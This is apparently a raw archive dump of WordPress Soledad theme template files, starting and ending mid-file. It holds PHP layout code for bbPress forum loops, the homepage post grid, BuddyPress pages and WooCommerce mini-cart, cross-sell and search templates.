			<span class="bbp-topic-started-by"><?php printf( __( 'Started by: %1$s', 'bbpress' ), bbp_get_topic_author_link( array( 'size' => '40' ) ) ); ?></span>

			<?php do_action( 'bbp_theme_after_topic_started_by' ); ?>

			<?php if ( !bbp_is_single_forum() || ( bbp_get_topic_forum_id() !== bbp_get_forum_id() ) ) : ?>

				<?php do_action( 'bbp_theme_before_topic_started_in' ); ?>

				<span class="bbp-topic-started-in"><?php printf( __( 'in: <a href="%1$s">%2$s</a>', 'bbpress' ), bbp_get_forum_permalink( bbp_get_topic_forum_id() ), bbp_get_forum_title( bbp_get_topic_forum_id() ) ); ?></span>

				<?php do_action( 'bbp_theme_after_topic_started_in' ); ?>

			<?php endif; ?>

		</p>

		<?php do_action( 'bbp_theme_after_topic_meta' ); ?>

		<?php bbp_topic_row_actions(); ?>

	</li>

	<li class="bbp-topic-voice-count"><?php bbp_topic_voice_count(); ?></li>

	<li class="bbp-topic-reply-count"><?php bbp_show_lead_topic() ? bbp_topic_reply_count() : bbp_topic_post_count(); ?></li>

	<li class="bbp-topic-freshness">

		<?php do_action( 'bbp_theme_before_topic_freshness_link' ); ?>

		<?php bbp_topic_freshness_link(); ?>

		<?php do_action( 'bbp_theme_after_topic_freshness_link' ); ?>

		<p class="bbp-topic-meta">

			<?php do_action( 'bbp_theme_before_topic_freshness_author' ); ?>

			<span class="bbp-topic-freshness-author"><?php bbp_author_link( array( 'post_id' => bbp_get_topic_last_active_id(), 'size' => 40 ) ); ?></span>

			<?php do_action( 'bbp_theme_after_topic_freshness_author' ); ?>

		</p>
	</li>

</ul><!-- #bbp-topic-<?php bbp_topic_id(); ?> -->
PK     N\u®      bbpress/loop-single-forum.phpnu [        <?php

/**
 * Forums Loop - Single Forum
 *
 * @package bbPress
 * @subpackage Theme
 */

?>

<ul id="bbp-forum-<?php bbp_forum_id(); ?>" <?php bbp_forum_class(); ?>>

	<li class="bbp-forum-info">

		<?php if ( bbp_is_user_home() && bbp_is_subscriptions() ) : ?>

			<span class="bbp-row-actions">

				<?php do_action( 'bbp_theme_before_forum_subscription_action' ); ?>

				<?php bbp_forum_subscription_link( array( 'before' => '', 'subscribe' => '+', 'unsubscribe' => '&times;' ) ); ?>

				<?php do_action( 'bbp_theme_after_forum_subscription_action' ); ?>

			</span>

		<?php endif; ?>

		<?php do_action( 'bbp_theme_before_forum_title' ); ?>

		<a class="bbp-forum-title" href="<?php bbp_forum_permalink(); ?>"><?php bbp_forum_title(); ?></a>

		<?php do_action( 'bbp_theme_after_forum_title' ); ?>

		<?php do_action( 'bbp_theme_before_forum_description' ); ?>

		<div class="bbp-forum-content"><?php bbp_forum_content(); ?></div>

		<?php do_action( 'bbp_theme_after_forum_description' ); ?>

		<?php do_action( 'bbp_theme_before_forum_sub_forums' ); ?>

		<?php bbp_list_forums(); ?>

		<?php do_action( 'bbp_theme_after_forum_sub_forums' ); ?>

		<?php bbp_forum_row_actions(); ?>

	</li>

	<li class="bbp-forum-topic-count"><?php bbp_forum_topic_count(); ?></li>

	<li class="bbp-forum-reply-count"><?php bbp_show_lead_topic() ? bbp_forum_reply_count() : bbp_forum_post_count(); ?></li>

	<li class="bbp-forum-freshness">

		<?php do_action( 'bbp_theme_before_forum_freshness_link' ); ?>

		<?php bbp_forum_freshness_link(); ?>

		<?php do_action( 'bbp_theme_after_forum_freshness_link' ); ?>

		<p class="bbp-topic-meta">

			<?php do_action( 'bbp_theme_before_topic_author' ); ?>

			<span class="bbp-topic-freshness-author"><?php bbp_author_link( array( 'post_id' => bbp_get_forum_last_active_id(), 'size' => 40 ) ); ?></span>

			<?php do_action( 'bbp_theme_after_topic_author' ); ?>

		</p>
	</li>

</ul><!-- #bbp-forum-<?php bbp_forum_id(); ?> -->
PK     N\hQe      content-classic-boxed-1.phpnu [        <?php
/**
 * Template loop for 1st classic then boxed 1
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'classic' );
	include( locate_template( 'content-classic.php' ) );
}
else {
	include( locate_template( 'content-boxed-1.php' ) );
}

$jj++;
?>

PK     N\U+  +  	  index.phpnu [        <?php
/**
 * The Header for our theme
 *
 * Displays all of the <head> section and everything up till <div id="main">
 *
 * @package    WordPress
 * @subpackage Soledad Theme
 * @since      1.0
 */
get_header(); ?>

<?php if ( get_theme_mod( 'penci_home_adsense_below_slider' ) ): ?>
    <div class="container penci-adsense-below-slider">
		<?php echo do_shortcode( get_theme_mod( 'penci_home_adsense_below_slider' ) ); ?>
    </div>
<?php endif; ?>

<?php
if ( ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;

/* Homepage Popular Post */
if ( get_theme_mod( 'penci_enable_home_popular_posts' ) ) {
	get_template_part( 'inc/modules/home_popular' );
}

/* Home layout */
$layout_this      = get_theme_mod( "penci_home_layout" );
$sidebar_position = 'right-sidebar';
if ( get_theme_mod( "penci_two_sidebar_home" ) ) {
	$sidebar_position = 'two-sidebar';
} elseif ( get_theme_mod( "penci_left_sidebar_home" ) ) {
	$sidebar_position = 'left-sidebar';
}

$grid_col = get_theme_mod( 'penci_home_grid_col' );
$grid_mcol = get_theme_mod( 'penci_home_grid_mcol' );
$cols_attrs = '';
$extra_class = '';
if ( in_array($layout_this,['grid-boxed', 'grid-boxed-2','grid-boxed-3', 'grid-boxed-4', 'masonry', 'grid'])){
	if ( $grid_col ) {
		$cols_attrs .= ' data-cols="'.$grid_col.'"';
		$extra_class .= 'has-d-cols ';
	}
	if ( $grid_mcol ) {
		$cols_attrs .= ' data-mcols="'.$grid_mcol.'"';
		$extra_class .= 'has-m-cols ';
	}
}

if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;
$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;
?>

<div class="container<?php echo esc_attr( $class_layout );
if ( penci_get_setting( 'penci_sidebar_home' ) ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?>">
    <div id="main"
         class="penci-layout-<?php echo esc_attr( $layout_this ); ?><?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> penci-main-sticky-sidebar<?php endif; ?>">
        <div class="theiaStickySidebar">

			<?php
			/**
			 * Featured categories for magazine layouts
			 *
			 * @since 1.0
			 */
			if ( ! get_theme_mod( 'penci_move_latest_posts_above' ) && ( ( get_theme_mod( 'penci_home_featured_cat' ) && ( $layout_this == 'magazine-1' || $layout_this == 'magazine-2' ) ) || get_theme_mod( 'penci_enable_featured_cat_all_layouts' ) ) ):
				get_template_part( 'inc/modules/featured-categories' );
			endif;
			?>

			<?php if ( ! get_theme_mod( 'penci_hide_latest_post_homepage' ) ): ?>

				<?php
				$heading_widget_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
				$heading_widget_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';
				$heading_title        = get_theme_mod( 'penci_featured_cat_style' ) ? get_theme_mod( 'penci_featured_cat_style' ) : $heading_widget_title;
				$heading_align        = get_theme_mod( 'penci_heading_latest_align' ) ? get_theme_mod( 'penci_heading_latest_align' ) : $heading_widget_align;
				$sb_icon_pos          = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
				$sidebar_icon_pos     = get_theme_mod( 'penci_homep_icon_align' ) ? get_theme_mod( 'penci_homep_icon_align' ) : $sb_icon_pos;
				$sb_icon_design       = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';
				$sidebar_icon_design  = get_theme_mod( 'penci_homep_icon_design' ) ? get_theme_mod( 'penci_homep_icon_design' ) : $sb_icon_design;
				?>

				<?php if ( get_theme_mod( 'penci_home_title' ) ) : ?>
                    <div class="penci-border-arrow penci-homepage-title penci-home-latest-posts <?php echo esc_attr( $heading_title . ' ' . $heading_align . ' ' . $sidebar_icon_pos . ' ' . $sidebar_icon_design ); ?>">
                        <h3 class="inner-arrow">
							<span><span><?php echo penci_get_setting( 'penci_home_title' ); ?></span></span>
						</h3>
                    </div>
				<?php endif; ?>

                <div class="penci-wrapper-posts-content">

					<?php if ( have_posts() ) : ?>
						<?php if ( in_array( $layout_this, array(
							'standard',
							'classic',
							'overlay',
							'featured'
						) ) ): ?><div class="penci-wrapper-data"><?php endif; ?>
						<?php if ( in_array( $layout_this, array(
							'mixed',
							'mixed-2',
							'mixed-3',
							'mixed-4',
							'small-list',
							'overlay-grid',
							'overlay-list',
							'photography',
							'grid',
							'grid-2',
							'list',
							'boxed-1',
							'boxed-2',
							'standard-grid',
							'standard-grid-2',
							'standard-list',
							'standard-boxed-1',
							'classic-grid',
							'classic-grid-2',
							'classic-list',
							'classic-boxed-1',
							'magazine-1',
							'magazine-2',
							'grid-boxed',
							'grid-boxed-2',
							'grid-boxed-3',
							'grid-boxed-4',
							'list-boxed',
							'list-boxed-2',
						) ) ) : ?>
                        <ul<?php echo $cols_attrs;?> data-layout="<?php echo esc_attr( $layout_this );?>" class="penci-wrapper-data penci-grid"><?php endif; ?>
						<?php if ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) : ?>
                        <div class="penci-wrap-masonry">
                        <div<?php echo $cols_attrs;?> class="penci-wrapper-data masonry penci-masonry"><?php endif; ?>

						<?php
						$cimg_size = 'normal';
						if ( in_array($layout_this,['grid-boxed','grid-boxed-2','grid-boxed-3'])) {
							$layout_this = 'grid';
						} elseif ( in_array($layout_this,['list-boxed','list-boxed-2'])) {
							$layout_this = 'list';
							$cimg_size = 'masonry';
						}
						
						$infeed_ads  = get_theme_mod( 'penci_infeedads_home_code' ) ? get_theme_mod( 'penci_infeedads_home_code' ) : '';
						$infeed_num  = get_theme_mod( 'penci_infeedads_home_num' ) ? get_theme_mod( 'penci_infeedads_home_num' ) : 3;
						$infeed_full = get_theme_mod( 'penci_infeedads_home_layout' ) ? get_theme_mod( 'penci_infeedads_home_layout' ) : '';
						while ( have_posts() ) : the_post();
							include( locate_template( 'content-' . $layout_this . '.php' ) );
						endwhile;
						?>

						<?php if ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) : ?></div>
                        </div><?php endif; ?>
						<?php if ( in_array( $layout_this, array(
							'mixed',
							'mixed-2',
							'mixed-3',
							'mixed-4',
							'small-list',
							'overlay-grid',
							'overlay-list',
							'photography',
							'grid',
							'grid-2',
							'list',
							'boxed-1',
							'boxed-2',
							'standard-grid',
							'standard-grid-2',
							'standard-list',
							'standard-boxed-1',
							'classic-grid',
							'classic-grid-2',
							'classic-list',
							'classic-boxed-1',
							'magazine-1',
							'magazine-2'
						) ) ) : ?></ul><?php endif; ?>
						<?php if ( in_array( $layout_this, array(
							'standard',
							'classic',
							'overlay',
							'featured'
						) ) ): ?></div><?php endif; ?>

						<?php if ( get_theme_mod( 'penci_page_navigation_ajax' ) || get_theme_mod( 'penci_page_navigation_scroll' ) ) { ?>
							<?php
							$button_class = 'penci-ajax-more penci-ajax-home penci-ajax-more-click';
							if ( get_theme_mod( 'penci_page_navigation_scroll' ) ):
								$button_class = 'penci-ajax-more penci-ajax-home penci-ajax-more-scroll';
							endif;
							/* Get data template */
							$data_layout = $layout_this;
							if ( in_array( $layout_this, array(
								'standard-grid',
								'classic-grid',
								'overlay-grid'
							) ) ) {
								$data_layout = 'grid';
							} elseif ( in_array( $layout_this, array( 'standard-grid-2', 'classic-grid-2' ) ) ) {
								$data_layout = 'grid-2';
							} elseif ( in_array( $layout_this, array(
								'standard-list',
								'classic-list',
								'overlay-list'
							) ) ) {
								$data_layout = 'list';
							} elseif ( in_array( $layout_this, array( 'standard-boxed-1', 'classic-boxed-1' ) ) ) {
								$data_layout = 'boxed-1';
							} elseif ( in_array( $layout_this, array( 'mixed-3', 'mixed-4' ) ) ) {
								$data_layout = 'small-list';
							}

							$data_template = 'sidebar';

							if ( ! penci_get_setting( 'penci_sidebar_home' ) ):
								$data_template = 'no-sidebar';
							endif;

							/* Get data offset */
							$offset_number = get_option( 'posts_per_page' );
							if ( get_theme_mod( 'penci_home_lastest_posts_numbers' ) && 0 != get_theme_mod( 'penci_home_lastest_posts_numbers' ) ):
								$offset_number = get_theme_mod( 'penci_home_lastest_posts_numbers' );
							endif;
							$num_load = 6;
							if ( get_theme_mod( 'penci_number_load_more' ) && 0 != get_theme_mod( 'penci_number_load_more' ) ):
								$num_load = get_theme_mod( 'penci_number_load_more' );
							endif;
							?>
                            <div class="penci-pagination <?php echo $button_class; ?>">
                                <a class="penci-ajax-more-button" aria-label="More Posts" href="#"
                                   data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                                   data-layout="<?php echo esc_attr( $data_layout ); ?>"
                                   data-number="<?php echo absint( $num_load ); ?>"
                                   data-offset="<?php echo absint( $offset_number ); ?>"
                                   data-from="customize" data-template="<?php echo $data_template; ?>"
                                   data-order="<?php echo get_query_var( 'pc_archive_sort', 'desc' ); ?>">
                                    <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                            class="ajaxdot"></span><?php penci_fawesome_icon( 'fas fa-sync' ); ?>
                                </a>
                            </div>
						<?php } else { ?>
							<?php penci_soledad_pagination(); ?>
						<?php } ?>
					<?php endif;
					wp_reset_postdata(); /* End if of the loop */ ?>
                </div>
			<?php endif; /* End check if not hide latest on homepage */ ?>

			<?php
			/**
			 * Featured categories for magazine layouts
			 *
			 * @since 1.0
			 */
			if ( get_theme_mod( 'penci_move_latest_posts_above' ) && ( ( get_theme_mod( 'penci_home_featured_cat' ) && ( $layout_this == 'magazine-1' || $layout_this == 'magazine-2' ) ) || get_theme_mod( 'penci_enable_featured_cat_all_layouts' ) ) ):
				get_template_part( 'inc/modules/featured-categories' );
			endif;
			?>

        </div>
    </div>

	<?php if ( penci_get_setting( 'penci_sidebar_home' ) ) : ?>
		<?php get_sidebar(); ?>
		<?php if ( get_theme_mod( "penci_two_sidebar_home" ) ) : get_sidebar( 'left' ); endif; ?>
	<?php endif; ?>
</div>
<?php get_footer(); ?>
PK     N\4sXH  H    content-single-bbpress.phpnu [        <?php
/**
 * The template for displaying single pages.
 *
 * @since 1.0
 */
$block_style = get_theme_mod('penci_blockquote_style') ? get_theme_mod('penci_blockquote_style') : 'style-1';
$heading_style = penci_get_heading_style();
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
	<div class="post-entry <?php echo 'blockquote-'. $block_style; ?> <?php echo $heading_style; ?>">
		<div class="inner-post-entry entry-content">
			<?php the_content(); ?>
			
			<div class="penci-single-link-pages">
			<?php wp_link_pages(); ?>
			</div>
			
			<?php if ( ! get_theme_mod( 'penci_post_tags' ) && has_tag() ) : ?>
				<?php if ( is_single() ) : ?>
					<div class="post-tags">
						<?php the_tags( wp_kses( '', penci_allow_html() ), "", "" ); ?>
					</div>
				<?php endif; ?>
			<?php endif; ?>
		</div>
	</div>


</article>PK     N\Uj      buddypress.phpnu [        <?php
/**
 * The Template for displaying all single posts
 *
 * @package Wordpress
 * @since   1.0
 */
get_header();

$sidebar_position = 'right-sidebar';
$sidebar_opts     = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );
if ( get_theme_mod( "penci_left_sidebar_posts" ) ) {
	$sidebar_position = 'left-sidebar';
}
if ( $sidebar_opts == 'left' ) {
	$sidebar_position = 'left-sidebar';
} elseif ( $sidebar_opts == 'right' ) {
	$sidebar_position = 'right-sidebar';
}
?>
<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
	<?php
	$yoast_breadcrumb = $rm_breadcrumb = '';
	if ( function_exists( 'yoast_breadcrumb' ) ) {
		$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
	}

	if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
		$rm_breadcrumb = rank_math_get_breadcrumbs( [
			'wrap_before' => '<div class="container penci-breadcrumb single-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
			'wrap_after'  => '</nav></div>',
		] );
	}

	if ( $rm_breadcrumb ) {
		echo $rm_breadcrumb;
	} elseif ( $yoast_breadcrumb ) {
		echo $yoast_breadcrumb;
	} else { ?>
        <div class="container penci-breadcrumb single-breadcrumb">
		<span><a class="crumb" href="<?php echo esc_url( home_url('/') ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon('fas fa-angle-right'); ?>
		<?php
		$penci_cats = get_the_category( get_the_ID() );
		$penci_cat  = array_shift( $penci_cats );
		echo penci_get_category_parents( $penci_cat );
		?>
            <span><?php the_title(); ?></span>
        </div>
	<?php } ?>
<?php endif; ?>

    <div class="container container-single<?php if ( get_theme_mod( 'penci_home_layout' ) == 'magazine-1' || get_theme_mod( 'penci_home_layout' ) == 'magazine-2' ): ?> container-single-magazine<?php endif; ?><?php if ( ( penci_get_setting( 'penci_sidebar_posts' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' ) : ?> penci_sidebar <?php echo esc_attr( $sidebar_position ); ?><?php endif; ?><?php if ( ! get_theme_mod( 'penci_disable_lightbox_single' ) ): ?> penci-enable-lightbox<?php endif; ?>">
        <div id="main"<?php if ( get_theme_mod( 'penci_sidebar_sticky' ) ): ?> class="penci-main-sticky-sidebar"<?php endif; ?>>
            <div class="theiaStickySidebar">

				<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
					<?php
					$yoast_breadcrumb = $rm_breadcrumb = '';
					if ( function_exists( 'yoast_breadcrumb' ) ) {
						$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb penci-crumb-inside single-breadcrumb">', '</div>', false );
					}

					if ( function_exists( 'rank_math_get_breadcrumbs' ) ) {
						$rm_breadcrumb = rank_math_get_breadcrumbs( [
							'wrap_before' => '<div class="container penci-breadcrumb penci-crumb-inside single-breadcrumb"><nav aria-label="breadcrumbs" class="rank-math-breadcrumb">',
							'wrap_after'  => '</nav></div>',
						] );
					}

					if ( $rm_breadcrumb ) {
						echo $rm_breadcrumb;
					} elseif ( $yoast_breadcrumb ) {
						echo $yoast_breadcrumb;
					} else { ?>
                        <div class="container penci-breadcrumb penci-crumb-inside single-breadcrumb">
                            <span><a class="crumb"
                                     href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
							<?php
							$penci_cats = get_the_category( get_the_ID() );
							$penci_cat  = array_shift( $penci_cats );
							echo penci_get_category_parents( $penci_cat );
							?>
                            <span><?php the_title(); ?></span>
                        </div>
					<?php } ?>
				<?php endif; ?>

				<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
					<?php /* Count viewed posts */
					penci_set_post_views( $post->ID ); ?>
					<?php get_template_part( 'content', 'single-buddypress' ); ?>
				<?php endwhile; endif; ?>
            </div>
        </div>
		<?php if ( ( penci_get_setting( 'penci_sidebar_posts' ) && $sidebar_opts != 'no' ) || $sidebar_opts == 'left' || $sidebar_opts == 'right' ) : ?>
			<?php get_sidebar( 'buddypress' ); ?>
		<?php endif; ?>
    </div>

<?php get_footer(); ?>
PK     N\[j      woocommerce/cart/mini-cart.phpnu [        <?php
/**
 * Mini-cart
 *
 * Contains the markup for the mini-cart, used by the cart widget.
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/cart/mini-cart.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see     https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 10.0.0
 */

defined( 'ABSPATH' ) || exit;

do_action( 'woocommerce_before_mini_cart' ); ?>

<?php if ( WC()->cart && ! WC()->cart->is_empty() ) : ?>

    <ul class="woocommerce-mini-cart cart_list product_list_widget <?php echo esc_attr( $args['list_class'] ); ?>">
		<?php
		do_action( 'woocommerce_before_mini_cart_contents' );

		foreach ( WC()->cart->get_cart() as $cart_item_key => $cart_item ) {
			$_product   = apply_filters( 'woocommerce_cart_item_product', $cart_item['data'], $cart_item, $cart_item_key );
			$product_id = apply_filters( 'woocommerce_cart_item_product_id', $cart_item['product_id'], $cart_item, $cart_item_key );

			if ( $_product && $_product->exists() && $cart_item['quantity'] > 0 && apply_filters( 'woocommerce_widget_cart_item_visible', true, $cart_item, $cart_item_key ) ) {
				$product_name      = apply_filters( 'woocommerce_cart_item_name', $_product->get_name(), $cart_item, $cart_item_key );
				$thumbnail         = apply_filters( 'woocommerce_cart_item_thumbnail', $_product->get_image(), $cart_item, $cart_item_key );
				$product_price     = apply_filters( 'woocommerce_cart_item_price', WC()->cart->get_product_price( $_product ), $cart_item, $cart_item_key );
				$product_permalink = apply_filters( 'woocommerce_cart_item_permalink', $_product->is_visible() ? $_product->get_permalink( $cart_item ) : '', $cart_item, $cart_item_key );
				?>
                <li class="woocommerce-mini-cart-item <?php echo esc_attr( apply_filters( 'woocommerce_mini_cart_item_class', 'mini_cart_item', $cart_item, $cart_item_key ) ); ?>" data-key="<?php echo $cart_item_key;?>">
					<?php
					echo apply_filters( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
						'woocommerce_cart_item_remove_link',
						sprintf(
							'<a href="%s" class="remove remove_from_cart_button" aria-label="%s" data-product_id="%s" data-cart_item_key="%s" data-product_sku="%s" data-success_message="%s">&times;</a>',
							esc_url( wc_get_cart_remove_url( $cart_item_key ) ),
							/* translators: %s is the product name */
							esc_attr( sprintf( __( 'Remove %s from cart', 'woocommerce' ), wp_strip_all_tags( $product_name ) ) ),
							esc_attr( $product_id ),
							esc_attr( $cart_item_key ),
							esc_attr( $_product->get_sku() ),
							/* translators: %s is the product name */
							esc_attr( sprintf( __( '&ldquo;%s&rdquo; has been removed from your cart', 'woocommerce' ), wp_strip_all_tags( $product_name ) ) )
						),
						$cart_item_key
					);
					?>
					<?php if ( empty( $product_permalink ) ) : ?>
						<?php echo $thumbnail . wp_kses_post( $product_name ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
					<?php else : ?>
                        <a href="<?php echo esc_url( $product_permalink ); ?>">
							<?php echo $thumbnail . wp_kses_post( $product_name ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
                        </a>
					<?php endif; ?>
                    <div class="product-cart-info">
						<?php echo wc_get_formatted_cart_item_data( $cart_item ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>

						<?php
						if ( ! $_product->is_sold_individually() && $_product->is_purchasable() && get_theme_mod( 'penci_shop_mini_cart_quantity', true ) ) {
							woocommerce_quantity_input(
								array(
									'input_value' => $cart_item['quantity'],
									'min_value'   => 0,
									'max_value'   => $_product->backorders_allowed() ? '' : $_product->get_stock_quantity(),
								),
								$_product
							);
						}
						?>

						<?php echo apply_filters( 'woocommerce_widget_cart_item_quantity', '<span class="quantity">' . sprintf( '%s &times; %s', $cart_item['quantity'], $product_price ) . '</span>', $cart_item, $cart_item_key ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
                    </div>
                </li>
				<?php
			}
		}

		do_action( 'woocommerce_mini_cart_contents' );
		?>
    </ul>

    <div class="penci-woo-cart-total-group">
        <p class="woocommerce-mini-cart__total total">
			<?php
			/**
			 * Hook: woocommerce_widget_shopping_cart_total.
			 *
			 * @hooked woocommerce_widget_shopping_cart_subtotal - 10
			 */
			do_action( 'woocommerce_widget_shopping_cart_total' );
			?>
        </p>
    </div>

    <div class="penci-woo-cart-buttons-group">

		<?php do_action( 'woocommerce_widget_shopping_cart_before_buttons' ); ?>

        <p class="woocommerce-mini-cart__buttons buttons"><?php do_action( 'woocommerce_widget_shopping_cart_buttons' ); ?></p>

		<?php do_action( 'woocommerce_widget_shopping_cart_after_buttons' ); ?>
    </div>

<?php else : ?>

    <p class="woocommerce-mini-cart__empty-message"><?php esc_html_e( 'No products in the cart.', 'woocommerce' ); ?></p>

<?php endif; ?>

<?php do_action( 'woocommerce_after_mini_cart' ); ?>
PK     N\       woocommerce/cart/cross-sells.phpnu [        <?php
/**
 * Cross-sells
 *
 * This template can be overridden by copying it to yourtheme/woocommerce/cart/cross-sells.php.
 *
 * HOWEVER, on occasion WooCommerce will need to update template files and you
 * (the theme developer) will need to copy the new files to your theme to
 * maintain compatibility. We try to do this as little as possible, but it does
 * happen. When this occurs the version of the template file will be bumped and
 * the readme will list any important changes.
 *
 * @see https://docs.woocommerce.com/document/template-structure/
 * @package WooCommerce\Templates
 * @version 9.7.0
 */

defined( 'ABSPATH' ) || exit;

if ( $cross_sells ) :
	$classess = array();
	$total = count( $cross_sells );
	$columns = get_theme_mod( 'penci_shop_product_cross_sell_columns', wc_get_loop_prop( 'columns' ) );
	$classess[] = $total > $columns || penci_is_mobile() ? 'slider' : 'normal';
	?>

    <div class="cross-sells <?php echo implode( ' ', $classess ); ?>">
		<?php
		$heading = apply_filters( 'woocommerce_product_cross_sells_products_heading', __( 'You may be interested in&hellip;', 'woocommerce' ) );

		if ( $heading ) :
			?>
            <h2><?php echo esc_html( $heading ); ?></h2>
		<?php endif; ?>

		<?php woocommerce_product_loop_start(); ?>

		<?php foreach ( $cross_sells as $cross_sell ) : ?>

			<?php
			$post_object = get_post( $cross_sell->get_id() );

			setup_postdata( $GLOBALS['post'] = $post_object ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited, Squiz.PHP.DisallowMultipleAssignments.Found

			wc_get_template_part( 'content', 'product' );
			?>

		<?php endforeach; ?>

		<?php woocommerce_product_loop_end(); ?>

    </div>
<?php
endif;

wp_reset_postdata();
PK     N\%Fu+  +  #  woocommerce/content-blog-search.phpnu [        <?php
/* Get Archive layout */
if ( ! isset( $args['search_query'] ) && ! $args['search_query'] ) {
	return false;
}

$layout_this = get_theme_mod( 'penci_archive_layout' );
if ( ! isset( $layout_this ) || empty( $layout_this ) ): $layout_this = 'standard'; endif;
$class_layout = '';
if ( $layout_this == 'classic' ): $class_layout = ' classic-layout'; endif;

$search_args = array(
	's'              => $args['search_query'],
	'posts_per_page' => get_theme_mod( 'penci_woocommerce_search_included_total', 5 ),
	'post_type'      => 'post',
);

$product_search_post_query = new WP_Query( $search_args );
if ( $product_search_post_query->have_posts() ):?>
    <div class="penci-border-arrow penci-homepage-title penci-magazine-title style-7 pcalign-left pciconp-right pcicon-right">
        <h3 class="inner-arrow">
			<span>
				<a href="<?php echo esc_url( get_search_link( $args['search_query'] ) ); ?>">
					<?php echo penci_woo_translate_text( 'penci_woo_trans_blog_search_result' ); ?>
				</a>
			</span>
        </h3>
    </div>
	<?php
	$class_grid_arr = array(
		'mixed',
		'mixed-2',
		'mixed-3',
		'mixed-4',
		'small-list',
		'overlay-grid',
		'overlay-list',
		'photography',
		'grid',
		'grid-2',
		'list',
		'boxed-1',
		'boxed-2',
		'boxed-3',
		'standard-grid',
		'standard-grid-2',
		'standard-list',
		'standard-boxed-1',
		'classic-grid',
		'classic-grid-2',
		'classic-list',
		'classic-boxed-1',
		'magazine-1',
		'magazine-2'
	);
	if ( in_array( $layout_this, $class_grid_arr ) ) {
		echo '<ul class="penci-wrapper-data penci-grid">';
	} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
		echo '<div class="penci-wrap-masonry"><div class="penci-wrapper-data masonry penci-masonry">';
	} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
		echo '<div class="penci-wrapper-data">';
	}

	$infeed_ads  = get_theme_mod( 'penci_infeedads_archi_code' ) ? get_theme_mod( 'penci_infeedads_archi_code' ) : '';
	$infeed_num  = get_theme_mod( 'penci_infeedads_archi_num' ) ? get_theme_mod( 'penci_infeedads_archi_num' ) : 3;
	$infeed_full = get_theme_mod( 'penci_infeedads_archi_layout' ) ? get_theme_mod( 'penci_infeedads_archi_layout' ) : '';
	while ( $product_search_post_query->have_posts() ) : $product_search_post_query->the_post();
		include( locate_template( 'content-' . $layout_this . '.php' ) );
	endwhile;

	if ( in_array( $layout_this, $class_grid_arr ) ) {
		echo '</ul>';
	} elseif ( in_array( $layout_this, array( 'masonry', 'masonry-2' ) ) ) {
		echo '</div></div>';
	} elseif ( get_theme_mod( 'penci_archive_nav_ajax' ) || get_theme_mod( 'penci_archive_nav_scroll' ) ) {
		echo '</div>';
	}
	?>
    <div class="pcbg-paging penci-pagination pcbg-paging-align-center penci-ajax-more">
        <a class="penci-ajax-more-button" href="<?php echo esc_url( get_search_link( $args['search_query'] ) ); ?>">
            <span class="ajax-more-text"><?php echo penci_woo_translate_text( 'penci_woo_trans_showmore_result' ); ?></span>
        </a>
    </div>
<?php endif;
wp_reset_postdata(); /* End if of the loop */ ?>

PK     N\ZYXy  y  !  woocommerce/content-quickview.phpnu [        <?php
/**
 * The template for displaying product content in the single-product.php template
 *
